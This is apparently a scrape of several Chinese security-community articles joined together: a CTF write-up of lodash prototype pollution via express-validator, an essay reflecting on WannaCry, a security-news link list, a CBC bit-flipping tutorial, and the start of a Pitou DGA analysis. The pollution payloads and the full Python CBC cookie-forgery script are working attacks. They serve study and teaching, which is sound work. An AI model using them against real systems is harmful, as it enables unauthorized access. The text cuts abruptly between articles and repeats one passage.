console.log(`server listening on ${port}`)
})
依赖包版本：
npm init
npm install [email protected]
npm install [email protected]
npm install express
express-validator参考：<https://express-validator.github.io/docs/>
在分析这个原型链污染漏洞之前，我们先对express-validator的过滤器(sanitizer)的实现流程进行一个分析。
## 过滤器(sanitizer)实现流程
在src/middlewares/validation-chain-builders.js文件中找到body的实现
传递到了check_1.check方法中，跟入check.js文件
location传递进来后传递到setLocations方法里创建了一个builder对象，并传入到chain_1.SanitizersImpl方法中。对于return，在题目的Wirteup中有以下的描述：
> 先看return的地方，check函数里的middleware就是express-> validator最终对接express的中间件。utils_1.bindAll函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性，因为Object.assign只做浅拷贝，utils.bindAll之后Object.assign就可以把sanitizers和validators上面的方法都拷贝到middleware上面了，这样就能通过这个middleware调用所有的验证和过滤函数。
针对bindAll，我个人的理解是：bindAll函数就是把需要调用的方法都绑定到middleware上进而实现链式调用。
* 什么是链式调用：<https://juejin.im/post/6844904030221631495>
* bindAll方法: <https://my.oschina.net/cangy/blog/301038>
传入bindAll的参数值是通过Chain_1.SanitizersImpl返回的，可以通过chain.js确定到这个函数的定义位置为src/chain/sanitizers-impl.js。
在这个类中存在很多的过滤器(sanitizer)，过滤器实现的方法都调用了this.addStandardSanitization()将过滤器传入到sanitization_1.Sanitization()方法中，得到的结果最终传递给this.builder.addItem()。
先来看sanitization_1.Sanitization()方法，位置在：src/context-items/sanitization.js：
这个Sanitization类中的run方法最终通过调用sanitizer方法设置了context的值。(context后面的处理过程在漏洞分析部分)
再来看this.builder.addItem()做了什么，位置在src/context-builder.js
就是把传入进来的值压入this.stack栈中。
回到Sanitization类中的run方法，这个run方法是在哪调用的呢？再看到check.js，这里创建了一个runner对象，并在middleware里调用了run方法：
同样可以从chain/index.js中找到实现runner.run方法的具体位置为：
这里可以看到是从context.stack里面循环遍历了contextItem，并调用了其run方法。在这条循环语句处下断点查看一下context的内容：
在stack里面就是包含了我们所调用的过滤器，而这个context.stack也就是this.builder.addItem()所设置的值。
这就是完整的express-validator的过滤器(sanitizer)的实现流程，wp中对这个过程有一个总结：
> express-> validator的做法是把各种validator和sanitizers的方法绑定到check函数返回的middleware上，这些validator和sanitizer的方法通过往context.stack属性里面push
> context-items，最终在ContextRunnerImpl.run()方法里遍历context.stack上面的context-> items，逐一调用run方法实现validation或者是sanitization
我这里画了一个流程图来梳理这一过程：
(这个流程图画的比较复杂，如果你尝试跟过一遍的话再来看这个流程图就会比较容易理解一些
## lodash < 4.17.17 原型链污染
<https://snyk.io/vuln/SNYK-JS-LODASH-608086>
lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
## express-validator中lodash原型链污染漏洞攻击面
在题目环境中`npm install`的时候就会有提示，express-validator库中的所依赖的lodash库存在原型链污染漏洞。
这是因为express-validator的依赖包中，lodash的安装版本最低为4.17.15的，所以在一定条件下会存在原型链污染漏洞。(这里的测试环境我们安装的是4.17.16版本，lodash在4.17.17以下存在原型链污染漏洞)
继续分析：
跟着上面过滤器(sanitizer)实现流程的最后几步，runner.run方法在context.stack里面循环遍历了contextItem，并调用了其run方法。
我们先来看看这个值的传入过程是怎么样的。
### 请求中值的传入过程
测试数据包：
{"__proto__[test]": "123 "}
在调用run方法时传入了一个instance.value的变量，这个变量的值是我们传入json数据当中的值，run方法在调用过滤器处理后给其赋予了一个新的值。
我们下断点来查看一下：
经过过滤器处理后(也就是经过了一个`trim()`处理)：
可以看到，newvalue是instance.value经过run方法处理后得到的值，一直往上推可以得知instance的实现方法是this.selectFields，位置是在select-fields.js文件中：
select-fields.js:
这个文件的处理过程中我们需要了解到的就是在segments.reduce函数中对输入的值进行了一些判断和替换。重要的点就是当传入的键中存在`.`
，则会在字符两边加上`[" "]`，并且最终返回的是一个字符串形式的结果。(对于这些语句更为详细的原因可以参考writeup中对这一段的描述)
接着之前的过程，在经过了过滤器的处理之后，会通过lodash.set对指定的path设置新值，也就是如图中的`_.set(req[location],
path, newValue)`过程。
现在可以尝试一下能不能通过lodash.set原型链污染来污染指定的值：
尝试污染 **proto** [test]，结果发现是污染并没有成功：
原因是因为，当lodash.set中第一个参数存在一个与第二个参数同名的键时，污染就会失败，测试如下：
所以，我们就要尝试去绕过这个点。 我们来看一下这个语句：
path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);
这里的第一个参数是从请求中直接取出来的，path是经过先前处理后的出来的值。所以能不能通过这个处理来进行绕过呢？当然是可以的。 当我们传入：
{"\"].__proto__[\"test":"123 "}
这里的键为`"].__proto__["test`，由于字符里面存在`.`，所以在segments.reduce函数处理时会对其左右加双引号和中括号，最终变成：`[""].__proto__["test"]`。这时在调用set函数时，值的情况就为：
这时就不存在同名的键了，于是查看污染的后的值发现：
我们设置的值并没有传递进去，而是污染为了一个空值。为什么传递进来的newValue为空值呢？
从select-fields.js中可以看到，是因为取值时，使用的是lodash.get方法从req['body']中取被处理后的键值，处理后的键是不存在的，所以取出来的值就为undefined。
当undefined传递到Sanitization.run方法中后，经过了一个`.toString()`的处理变成了`''`空字符串。
### lodash.get方法中读取键值的妙用
那我们还有没有办法污染呢？结果肯定是有的，我们跟入这个lodash.get方法，这个方法的具体实现位置位于：lodash/get.js
继续跟踪到lodash/_baseGet.js
从中我们可以看到这个函数取值的一些逻辑，首先，path经过了castPath处理将字符串形式的路径转为了列表，如下面的内容所示。转换完后通过一个while循环将值循环取出，并在object这个字典里去取出对应的值。
// 初始值
['a'].__proto__.['b']
// 转换完后的值
["a","__proto__","b",]
那这个地方能不能利用呢？当然也是可以的，我们来看下最终的payload：
{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}
这个时候我们在这个函数处下断点就可以看到，`a\"].__proto__[\"test`经过castPath处理变成了["a", " **proto**
", "test"]，在Object循环取值最终取到的是`"a": {"__proto__": {"test":
'testvalue'}`中的test键的值，这样就达到了控制value的目的。
还未遍历前：
最后一次遍历：
最终污染成功：
## 总结思考
整个流程下来，能够污染任意值的关键点在于：
1. lodash.set存在原型链污染漏洞
2. express-validator对键名的处理
3. lodash.get取值逻辑
* * * | 社区文章 |
作者：小刀
公众号：wxcmgd
（2017-06-01晚进行少量修订和更新，发于阿里云先知技术社区）
楔子：
教授说：西雅图也开始下雨了……
今天是5月的最后一天，大家对WannaCry关注的热情怕是渐已退却。而对于一名技术人员，这个时候倒很适合来对WannaCry勒索蠕虫事件进行一次不那么严肃的反思。
5月之于安全圈，WannaCry毫无疑问是占据头条最长的事件。今天，小刀把自5月12日起国内有关WannaCry相关的报道、报告等全部理了一遍，内容可以说是“浩如烟海”，总体上感觉这是
**一场PR的盛宴** 。掩卷（好吧，其实是关闭屏幕）沉思，总觉得此次事件给予我们启示良多，非常值得反思。
### 反思1：对于广为流传的事，不能迷信，不可无视。
在整个事件发展过程中，关于WannaCry的部分技术细节经常会让有心人产生疑问，当然，随着国内外安全研究人员和组织的不断努力，很多疑问也都逐渐有了确定的答案。这个现象在13日至14日尤为突出。
当时群里的热烈讨论
小刀印象比较深的是类似下图中COS给圈友们出的题2，当时这个问题很多人在不同场合讨论。
因为当时是在新闻宣传潮之后，刚刚开始进入技术分析环节。根据当时能看到的少数技术报告，勒索软件会将密钥传到云端，等支付了赎金再通过云端下发密钥进行解密（事实上这样的描述并没有讲清楚技术细节，如果能讲清楚也就不会有疑问了，当然完全分析清楚需要足够的时间）。但是实际情况是很多中招的机器无法访问Tor网络甚至根本不能上网（这一点没有核实，还牵扯到另外一个问题——不能上网是怎么感染的勒索蠕虫？到底有没有这样的情况发生？），如果黑客根本拿不到“提交的Key”会发生什么？
如果迷信了当时的技术报告中所提到的信息，那么对于这个问题就会难以解释。
在13日的一次非正式技术讨论中，盘古CEO
TB和微步CEO薛锋都指出了技术上的可行性——黑客手中只要掌握核心私钥，然后把核心公钥内置在蠕虫中，对于每台机器生成的密钥，可以用核心公钥加密起来存放在本机。这样不管是离线还是在线，只要能把这个加密后的密钥给到黑客，黑客就能解开密钥，从而也就可以解开文件。——他们是基于“黑客视角”进行分析、模拟设计和客观判断的。后来随着技术分析的深入，的确印证了这个观点，WannaCry的作者的确采用了这种技术架构，当然他还额外增加了一层加密措施，正如现在大家都知道的那样。
这是一个不迷信的例子，大牛们通过自己客观而理性的分析，解答了一个疑问，并且后续的详细技术报告证明了其正确性。
另外一个例子是关于“kill
swith”（蠕虫启动时，会访问一个不存在的域名：<http://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com>
如果能够访问该域名的80端口，则立即退出程序，什么都不做）。当时比较主流的观点认为，这是WannaCry作者给自己留的一个开关，在必要的时候，可以阻止蠕虫继续传播。
事实上，技术人员可以换个角度思考——黑客怎么会把“自己可能会用到的域名”留给别人去注册呢？——如果这是黑客留给自己的开关，那么他应该注册下来暂不解析。而注册域名也是有风险的，可能会留下线索。——所以，结论是，这家伙压根就没想着要去注册这个域名！这样就可以解释很多问题：比如这个域名为什么这么奇怪，看起来就是随手乱敲出来的；比如他为什么没有注册；比如他为什么没有对这个域名字符串进行加密保护；等等。
而微步CEO薛锋则较早指出，这应该是一个对抗沙箱的行为——因为大部分沙箱，对于沙箱中的程序请求任何域名，都会给予响应，这是为了尽量保证恶意软件的正常运行而又不会真的产生恶意后果（基本的网络通信层面）。
看了微步薛的分析，小刀深以为然，否则还以为这个黑客是为了保护特定的小群体呢。
当然，在这个问题上，还有很多细节值得推敲（盘古CEO TB也对这一观点的细节进行了多轮质疑），比如：
1、
为什么蠕虫选择判断“是否能访问80端口”，而不选择“能否解析域名”或“看80端口返回内容是否匹配”呢？（小刀的理解：这个蠕虫作者有很多折衷的考虑，比如他的部分代码是加密的，自己实现加载和运行，而大部分的主体程序是不做加密的，分析起来比较容易。所以在这个沙箱判断上，他也是选择了比较中间的手段，不是很简单，也不是很复杂。）
2、为什么蠕虫做完简单的沙箱对抗检测之后，仅仅是退出，而不进行自毁呢？（小刀的理解：他主要考虑的是不要让自动沙箱很轻松注意到它的恶意行为，而对于专业人员，他也是持无所谓的心态，愿意分析就分析吧，反正也拦不住！）
3、 ……
**这是另外一个不迷信的例子，告诉我们应该时刻保持着专业人士的专业素养，这可能是来源于自己的经验，也可能是出于自己的换位思考和不断质疑、不放过任何一个细节的职业习惯。**
### 反思2：在不迷信的基础上，技术人员还要不厌其烦地认真求证。
在这一部分，小刀想说一下关于Windows XP能否被WannaCry感染的疑问，继续借用一下COS朋友圈的截图吧：
小刀在连篇累牍的报道中，似乎没有看到哪篇文章提到WannaCry感染Windows
XP存在疑问？——希望是我看到的文章还不够多，但也可以肯定我们主流的声音中缺乏对这种技术细节问题的及时关注、严密考证和客观阐述。
那么，这个问题是从何而来呢？我们从所有的报道中、报告中不都是在说Windows
XP会受影响吗？微软不是破例为XP和2003发布了漏洞补丁吗？各种指南不都在说XP应该怎么做吗？不是还有针对XP的文件恢复工具吗？……
是的，第一次看到这个问题，小刀也很诧异：WannaCry用了EternalBlue的攻击代码，EternalBlue利用的是MS07-010漏洞，只要这个漏洞能影响到的系统，就会成为感染的对象，看起来非常正确啊。
网上流传的“WannaCry幸存者参考”
事实上，反思之下还是能够发现，这个逻辑犯了常见的逻辑错误：MS07-010能够影响Windows XP和EternalBlue能够攻击Windows
XP，只能说明“如果作者原意，WannaCry可以感染Windows XP”，但 **并不能证明“事实上WannaCry可以感染Windows XP”。**
同时，可能也是迷信了广为传播的说法。
在国外，有几位安全研究人员提出并讨论了这个问题，其中最有代表性的是安全架构师Kevin
Beaumont（<https://twitter.com/GossiTheDog）的观点，他明确指出——WannaCry并不会感染Windows>
XP（和2003），并且也得到了一些安全企业的回应。
好吧，看来我们需要从技术上验证一下，虽然这个工作其实还挺繁琐的。
首先我们要确认一下，EternalBlue能不能攻击Windows XP？
小刀先用Eternalblue-2.2.0.exe（MD5：8c80dd97c37525927c1e549cb59bcbf3）进行了测试，发现无论从XP打XP还是从Win7x86打XP，都是失败的。
而从XP打Win7x86，和从Win7x86打Win7x86都是成功的。
当然仅仅做这样小范围的测试还不够。于是小刀在网上查阅了一些资料：
在一位日本同仁Neutral8✗9eR（<https://twitter.com/0x009AD6_810）的推特上看到，他用MSF做了测试：>
未打补丁，攻击成功
打了补丁，攻击失败
不光有截图，还有视频。
这个测试，他用的是hardw00t开发的MSF插件（<https://github.com/hardw00t/Eternalblue-Doublepulsar-Metasploit）。>
我看了一下代码，的确是支持XP的：
而另外一个广为流传的MSF插件则据称尚不支持XP：
所以，基本上可以判断：EternalBlue肯定是可以攻击XP的，只不过在利用层面不同的工具表现可能不同，也可能在不同环境下利用的稳定性存在不一致的情况。
接下来看WannaCry。
测试方法比较暴力：开启4台虚拟机组成一个局域网，2台Windows XP SP3、2台Windows 7 x86。分别在XP-A和Win7-A上测试运行WannaCry原始样本（就是带传播功能的版本，我用的是MD5为db349b97c37d22f5ea1d1841e3c89eb4的这个），看局域网内其他3台机器是否感染。
直接贴我的测试结果：
1、 在XP-A（左上）上运行：XP-B没动静（右上）；Win7-A和Win7-B受攻击（但是蓝屏了）
2、 在Win7-A（左下）上运行：Win7-B受感染（右下）；XP-A和XP-B没动静
有（Tai）兴（Wu）趣（Liao）的同学可以看看动画（上面两台是XP，下面两台是Win7）：
GIF1：从XP-A上投放：wcry1_win7a_4m
GIF1：从Win7-A上投放：wcry1_winxpa_4m
其它发现：
在XP上运行WannaCry的时候，可能会无法在内网传播，只往公网随机IP传播，看上去像是故意避开了本地内网IP地址（通过netstat看445连接）。而在Win7上却一切正常。小刀刚开始以为是这个蠕虫“获取本地IP地址”这个操作的兼容性不好，后来仔细看了一下，发现它在XP上获取本地IP地址是正确的，在刚开始对外传播时也会做一些本地内网的测试，但是很快就结束了。因为都是业余时间在看，没时间找原因，于是就偷了个懒，直接对这个EXE进行了修改，让它生成的公网IP范围就在我的内网IP地址范围内（10.0.2.*）。
进一步思考：如果WannaCry真的不能感染XP，在XP上手工运行也不能正常攻击Win7，在XP上不能正常攻击本地网络，加上WannaCry的本地化勒索信息的显示也根本没考虑XP，我们有理由怀疑，这个WannaCry的作者，是不是压根就没考虑XP啊？！
XP中文版上的勒索信
Win7中文版上的勒索信
测试做完后，同样也查阅了各种信息，发现之前那个日本小哥也是非常认真地做了一遍测试，比小刀全面多了（不过结果不太一样）：
第一组：干净的机器
左上：蠕虫初始投放机器（Win7）；右上：WinXP SP3
左下：Win7；右下：Win2008 R2
初始状态
XP和Win7被打蓝屏了
2008中招
第二组：提前感染DoublePulsar的机器
左上：蠕虫初始投放机器（Win7）；右上：WinXP SP3
左下：Win7；右下：Win2008 R2
感染好DoublePulsar
Win7和2008沦陷（XP没事）
小刀觉得，并不是没有人注意到这个问题，也不是没有人研究这个问题，只是没人讨论，因此有点困惑。
当然，不管如何，微软已经针对XP和2003发布了补丁，还在使用这些系统的小伙伴，还是要打好补丁、做好系统加固工作。
### 反思3：希望国内安全研究者（机构）能够建立“重大安全事件联合攻关机制”。
用WannaCry蠕虫研究过程中最重要的一环——文件恢复或者解密——来谈这个问题吧。
这个问题很显然包括两个点：
一是无密钥的情况——文件恢复的问题。
这个已有各路英雄提供了很多方法，比如360较早发布的直接“找回已删除文件”的方法和工具；比如四川效率源公司较早发布的不同大小文件的不同加密方式（1.5MB）及可能的恢复方法；同时效率源基于自身早期研究成果推出的Office文件恢复工具、数据库恢复工具等等。
这里有一个细节，当时并没有看到相关报告，那就是WannaCry对于某些文件，会先做随机填充后再删除，而不是直接删除。
例如下图中的“Blue hills.jpg ”文件，是原始文件，在Windows
Explorer中是可以看到预览的缩略图的，同时蠕虫已经开始加密了（旁边有个.WNCRYT文件）：
而蠕虫完成加密后，将.WNCRYT重命名为.WNCRY文件，但是，仔细观察会发现“Blue hills.jpg
”文件已经无法预览了，这是因为这个文件已经被蠕虫修改，格式上已经不是合法的JPG文件了：
随后，蠕虫会移动并删除这个文件。很显然，这个文件，通过磁盘恢复的方式，就不能恢复了。（今天整理的时候看到360的报告中已经对这个问题进行了详细的阐述。）
二是“如何找到密钥”的问题。
为了便于讨论，小刀把WannaCry的密钥分为3类：文件密钥（加密文件的AES对称密钥，每个文件不同）、关键密钥（用于加密文件密钥的RSA非对称密钥，每台机器每次运行不同；公钥用来加密AES密钥，私钥被核心密钥的公钥加密存放在本机）、以及核心密钥（黑客手上掌握的RSA非对称密钥；公钥内置在蠕虫中，用于加密关键密钥的私钥，而私钥只有黑客自己掌握）。
因为国外研究者较早就复原了加密和解密流程，只要能拿到上述任何一种密钥，就可以解密文件——最彻底的就是拿到黑客手上的核心密钥私钥，那就可以拯救世界了；其次是可以拿到每台机器的关键密钥私钥，那就可以拯救这台机器了；如果能拿到文件密钥，就可以拯救这个文件。
这里用到的解密工具是Benjamin Delpy开发的wanadecrypt。
作为研究，第一步当然是到内存里面去找找看，看它密钥在内存中什么时候生成、什么时候销毁（工具作者也说了）：
通过对微软的相关API下断点的方法可以找到密钥（比如CryptExportKey、CryptEncrypt什么的），当然，你还要对RSA的密钥格式有一点了解（在本例中是“07
02 00 00 00 A4 00 00”开头的16进制数据，总长度为1172字节）。
但是这个密钥在内存中存活的时间窗太短了，还有什么办法呢？
因为RSA密钥生成，是要用到素数的，如果能找到素数，也就有路可走了。当然这需要对密码学相关知识和微软的API原理更加熟悉才行。——小刀忍不住又要佩服那帮老外了。法国安全研究人员Adrien
Guinet提出：由于微软Windows CryptAPI中，CryptReleaseContext()并没有清除素数(prime
numbers)，可以通过扫描WannaCry
进程的内存空间来找到相关素数，再恢复RSA私钥。同时完成了工具wannakey的开发，并开放源代码（<https://github.com/aguinet/wannakey）。而Benjamin>
Delpy基于上述研究成果，开发了wanakiwi工具，可以自动扫描WannaCry 进程的内存空间来找到相关素数，再恢复RSA私钥，并完成解密工作。
这样，这个“可能找到关键密钥”的时间窗就要长很多了（直到相关内存空间被覆盖）。
为什么提到“重大安全事件联合攻关机制”呢？首先是因为可以用于研究的时间非常有限，每个研究人员、研究机构都在加班、熬夜，如果不能形成一定的共享，则很有可能大家会做重复劳动，导致进展不够快；其次是因为涉及到的领域很多，比如恶意代码分析、加密解密、文件恢复等等，客观上需要不同领域的高手协同作战。
比如，在当前研究进展下，还有没有什么方法可以在“寻找关键密钥”的道路上更进一步呢？
Benjamin Delpy在发布wanadecrypt 0.0版本的时候，写了一句话：
It's only a little help on the road to have maybe a version that can get the
key at one point...
小刀认为，这句话非常好地描述了他从事这项研究工作的心态，也非常值得我们学习。
技术人员当勤于思考、勇于提问、敢于质疑，不放过每一个技术细节、不厌其烦地谨慎求证、不断朝着目标一步一步前进。
在重大的安全事件面前，我们应该放下品牌，抛弃成见，开放心态，精诚合作。
注：由于水平有限，文中难免出错，请大家多多海涵并严肃指正！
这样，这个“可能找到关键密钥”的时间窗就要长很多了。
为什么提到“重大安全事件联合攻关机制”呢？首先是因为可以用于研究的时间非常有限，每个研究人员、研究机构都在加班、熬夜，如果不能形成一定的共享，则很有可能大家会做重复劳动，导致进展不够快；其次是因为涉及到的领域很多，比如恶意代码分析、加密解密、文件恢复等等，客观上需要不同领域的高手协同作战。
Benjamin Delpy在发布wanadecrypt 0.0版本的时候，写了一句话：
It's only a little help on the road to have maybe a version that can get the
key at one point...
小刀认为，这句话非常好地描述了他从事这项研究工作的心态，也非常值得我们学习。
在重大的安全事件面前，我们必须要放下品牌，抛弃成见，开放心态，精诚合作。
技术人员当勤于思考、勇于提问、敢于质疑、不厌其烦地谨慎求证。
番外篇：PR
5月12日起持续发酵的WannaCry勒索蠕虫事件，恰如网络安全界的一场临时大考。安全企业、安全研究机构和安全从业者各显神通，在收获丰硕果实的同时，也顺带给全社会民众结结实实地上了一堂安全科普扫盲课。而国内的各网络安全主管单位，也通过本次事件，看到了国内安全行业近年来的长足发展，留意到了尚存在的不足，厘清了发展思路。
回首WannaCry事件始末，小刀倒也学到几招PR套路，比如：
² “快”字当先：紧跟脱缰的WannaCry，抢尽一切PR先机，没研究清楚不要紧，先发了再说。
² 反复轰炸：素材反复用，不求详尽，不求创新，但求刷屏。
² 标题第一：事实没那么重要，标题就是一切，越劲爆越好。
最后，用两张图结束本文：
我们知道，很多IT业的巨头都提倡“顾问式销售方法论”——根据用户的采购流程制订自己的销售活动计划，例如：
WannaCry事件，经历了“发现－初步分析－紧急应对－深入分析－全面应对－解密方法－思考未来”等过程，根据小刀的观察，如果咱要做PR，就要紧跟这个过程，在每一个环节上，尽早发布咱们的PR文——事实上，很多优秀的同行们恰恰就是这么实践的。
我们可以照葫芦画瓢，根据安全事件发展中的民众心理，制订自己的PR活动计划，例如：
本文定位于反思，所以，还是希望国内的同行们能够多多携手、砥砺前行！
比如：PR的力道不妨轻一些，工作量适当少一些，标题更客观一些，对客户的尊重更多一些；对技术的反思更加深入一些，在细节的追求上更精进一些，彼此的成见小一些，宽容和合作多一些；借鉴别人成果的时候，多一些赞扬和感激，尽量留下别人的名字、成果的链接，哪怕在参考文献中留下一条信息也是极好的……
借发于阿里云先知技术社区的机会，更新一个遗漏的信息：
在WannaCry勒索蠕虫席卷全球的那个周末，某些人在群里高声喊着“我们又可以卖防火墙啦”的时候，另一些人在忙着给PR文起个更夺人眼球的标题的时候，一个信息安全的老兵，默默地做了一个PPT，没有用到任何厂商的第三方工具，仅仅用微软原生的系统配置方法，告诉很多普通用户应该如何应对。——小刀是事后得知此事的，觉得非常有必要为他点个赞，他做了一个真正的技术人员应做的事，理应得到大家的赞扬和肯定。虽然我不认识他，甚至他也没有在PPT中留下自己的姓名（看文件属性，不知道是不是叫“李磊”），只知道他曾经是绿盟科技的一名技术人员，目前应该在360企业安全部门工作。——当然，还有很多朋友也做了类似的工作，比如我记得风宁先生也很快提供了简单有效的加固工具，等等，原谅我无法一一列出。
繁华落尽PR去，细水流年技术来。
自勉，共勉。并祝大家儿童节快乐，脸上常常荡漾着孩子般纯真的笑容！恰如你对技术的那般执着。
同时，热烈庆祝《中华人民共和国网络安全法》正式施行！
教授说：西雅图也开始下雨了…… | 社区文章 |
# 【知识】6月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Drupal更新修补了多个内核漏洞,传言其中至少有一个远程代码执行、MSRC的故事:从像素点到POC **、**
揭秘CIA用于入侵封闭网络的工具“野蛮袋鼠”、通过盗窃OAuth令牌绕过Airbnb认证、hooking新技术:GhostHook-可以绕过安全内核和基于钩子的处理器追踪 **、 Windows Kernel Exploitation:空指针引用****
**
**
**资讯类：**
* * *
揭秘CIA用于入侵封闭网络的工具“野蛮袋鼠”
[http://bobao.360.cn/news/detail/4204.html](https://wikileaks.org/vault7/#Brutal%20Kangaroo)
Drupal更新修补了多个内核漏洞,传言其中至少有一个远程代码执行
<https://www.drupal.org/SA-CORE-2017-003>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
物联网去中心化：创建一个ZigBee反应链
<https://blog.acolyer.org/2017/06/22/iot-goes-nuclear-creating-a-zigbee-chain-reaction/>
通过盗窃OAuth令牌绕过Airbnb认证
<https://www.arneswinnen.net/2017/06/authentication-bypass-on-airbnb-via-oauth-tokens-theft/>
敌后阵线:BUG狩猎之Burp Infiltrator
<http://blog.portswigger.net/2017/06/behind-enemy-lines-bug-hunting-with.html>
hooking新技术:GhostHook-可以绕过安全内核和基于钩子的处理器追踪
<https://www.cyberark.com/threat-research-blog/ghosthook-bypassing-patchguard-processor-trace-based-hooking/>
开始Windows Kernel Exploitation-第三部份之窃取访问Token
<https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/>
收集npm弱凭证:npm弱凭证收集的三种方式
<https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md>
Shellcode: The hunt for GetProcAddress
<https://modexp.wordpress.com/2017/06/21/shellcode-getprocaddress/>
另类的Javascript伪协议
<http://brutelogic.com.br/blog/alternative-javascript-pseudo-protocol/>
MSRC的故事:从像素点到POC
<https://blogs.technet.microsoft.com/srd/2017/06/20/tales-from-the-msrc-from-pixels-to-poc/>
lambhack:一个在AWS Lambda中非常脆弱的无服务器应用。
<http://seclist.us/lambhack-a-very-vulnerable-serverless-application-in-aws-lambda.html>
Windows Kernel Exploitation:空指针引用
<https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-dereference/>
Rasp 技术介绍与实现
<http://paper.seebug.org/330/>
mvvm框架安全
<https://speakerdeck.com/oritz/mvvm-framework-security> | 社区文章 |
# CBC字节翻转攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
以前有听说过这种攻击，但是没有详细去研究，这次ISCC刚好出了这种类型的题（虽然是原题），所以就详细学习一下。先来了解一下这种方式是如何进行加解密的。
## CBC原理
如果用公式来表示的话，如下：（C表示密文，E表示进行加密，P表示明文，D表示进行解密，IV表示初始向量）
再来看看如何进行攻击：（下面图片摘自《图解密码技术》一书）
###
## 实例分析
51行，当我们以admin账号登录时，程序会直接终止，若为其他则正常登录，并将用户信息存在info数组中传入login函数，并调用show_homepage函数。23行，发现当账号为admin，才会显示flag，这与之前矛盾。但是代码中使用了cbc加密方式，而且35行的cipher和36行的iv变量均中cookie数组中取，cookie数组又是我们可以控制的，这也是导致攻击发生的地方。
那么，我们的思路就是构造一个Admin用户，然后将大写的A翻转成小写的a，即是admin。我们点击登录之后，可以在cookie中获取到iv和cipher的值（看14行的login函数），然后我们先将cipher的第9个字符使用异或运算翻转成小写字母a，因为info数组序列化后，我们要翻转的大写字母A在下标为9的位置，每个分组的长度为16，因为返回的iv变量长度为16（要先经过base64解密）
翻转这一比特位，在解密下一块明文数据时，只会影响下一组明文翻转的那一位，但是却会影响本组明文的全部。因为我们翻转过的明文要先经过解密，然后才和IV变量进行异或，解密的时候是整串数据进行，所以整串明文受其影响。甚至可能会导致生成的明文部分乱码，至少绝对不再是原来的明文了。如果你还是不理解，那你可以看看[CBC字节翻转攻击-101Approach](http://wooyun.jozxing.cc/static/drops/tips-7828.html)中
**一个例子（CBC Blocks of 16 bytes）** 部分的解释，我这里就贴其中的一张图片（将6翻转成7）：
在这道题目中，我们又要保证这堆乱码数据必须是`a:2:{s:8:"userna`
，因为这样等下才能和其他明文块组成正常的序列化字符串，正常进行反序列（看38行代码）。所以我们考虑控制IV变量，使得IV与Decryption(Ciphertext1)异或的结果是`a:2:{s:8:"userna`
，这样就能变成admin用户登录了。
最后我们再来说一下如何控制成我们想要的字符。直接丢几个公式，简洁明了：)
本组明文 = Decrypt(本组密文) ^ 上一组密文
A B C
=========================================================
A = B ^ C
A ^ A = 0; 0 ^ A = A
C = A ^ A ^ C = B ^ C ^ A ^ C = A ^ B
(即C = A ^ B ，即：上一组密文 = 本组明文 ^ Decrypt(本组密文) )
ascii('a') ^ C ^ A ^ B = ascii('a') ^ A ^ B ^ A ^ B = ascii('a') ^ 0 = ascii('a')
(假设我们想要翻转成a，使用如上公式即可,即：想要的字符 = 上一组密文 ^ 本组明文 ^ Decrypt(本组密文) ^ 想要的字符 )
所以最终我们可以编写python程序来实现CBC字节翻转攻击，程序如下：
import urllib,base64,requests,re
url = "http://*.*.*.*/index.php"
datas = {
"username" : "Admin",
"password" : "admin"
}
r = requests.post(url,data=datas)
cipher = r.cookies.get("cipher")
cipher = base64.b64decode(urllib.unquote(cipher))
offset = 9
new_cipher = cipher[:offset] + chr(ord(cipher[offset])^ord("A")^ord("a")) + cipher[offset+1:]
new_cookies = requests.utils.dict_from_cookiejar(r.cookies)
new_cookies["cipher"] = urllib.quote_plus(base64.b64encode(new_cipher))
r2 = requests.get(url,cookies=new_cookies)
plain = base64.b64decode(re.findall("decode('(.*)')",r2.text)[0])
iv = base64.b64decode(urllib.unquote(new_cookies["iv"]))
old = plain[:len(iv)]
new = 'a:2:{s:8:"userna'
new_iv = "".join([chr(ord(iv[i])^ord(old[i])^ord(new[i])) for i in xrange(16)])
new_cookies["iv"] = urllib.quote_plus(base64.b64encode(new_iv))
r3 = requests.get(url,cookies=new_cookies)
print(r3.text)
参考：
[分组密码模式: CBC模式(密码分组链接模式)](http://www.cnblogs.com/dacainiao/p/5521866.html)
[CBC字节翻转攻击-101Approach](http://wooyun.jozxing.cc/static/drops/tips-7828.html)
[CTF中常见的Web密码学攻击方式](http://seaii-blog.com/index.php/2017/05/13/60.html) | 社区文章 |
# Pitou的虚拟DGA算法分析（二）
|
##### 译文声明
本文是翻译文章，文章原作者 johannesbader，文章来源：johannesbader.ch
原文地址：<https://www.johannesbader.ch/2019/07/the-dga-of-pitou/#comparison-with-public-reports>
译文仅供参考，具体内容表达以及含义原文为准。
## DGA算法
本节使用之前分析中的输出对DGA进行逆向，具体可以参照Pitou的虚拟DGA算法分析（一）。完成逆向后，利用Python对DGA进行重新实现。该脚本可以针对任何给定日期生成对应的DGA域名。
### DGA调用器
要理解DGA，必须首先查看调用VM的本地代码：
在上图的顶部，可以看到虚拟DGA的调用和在调用过程中传递的五个参数：
* r8d：当前天(day)，如2代表本月的第二天；
* edx：当前月份（month），如三月为3；
* ecx：当前年份（year），如2019；
* rsi：域名编号，从0开始；
* r9：保存生成域名的内存地址。
在截图的第一行中，域名数量rsi设置为r12d，而r12d为0。直到rsi达到20，该循环恰好生成20个域名。
### IDA Pro图形化
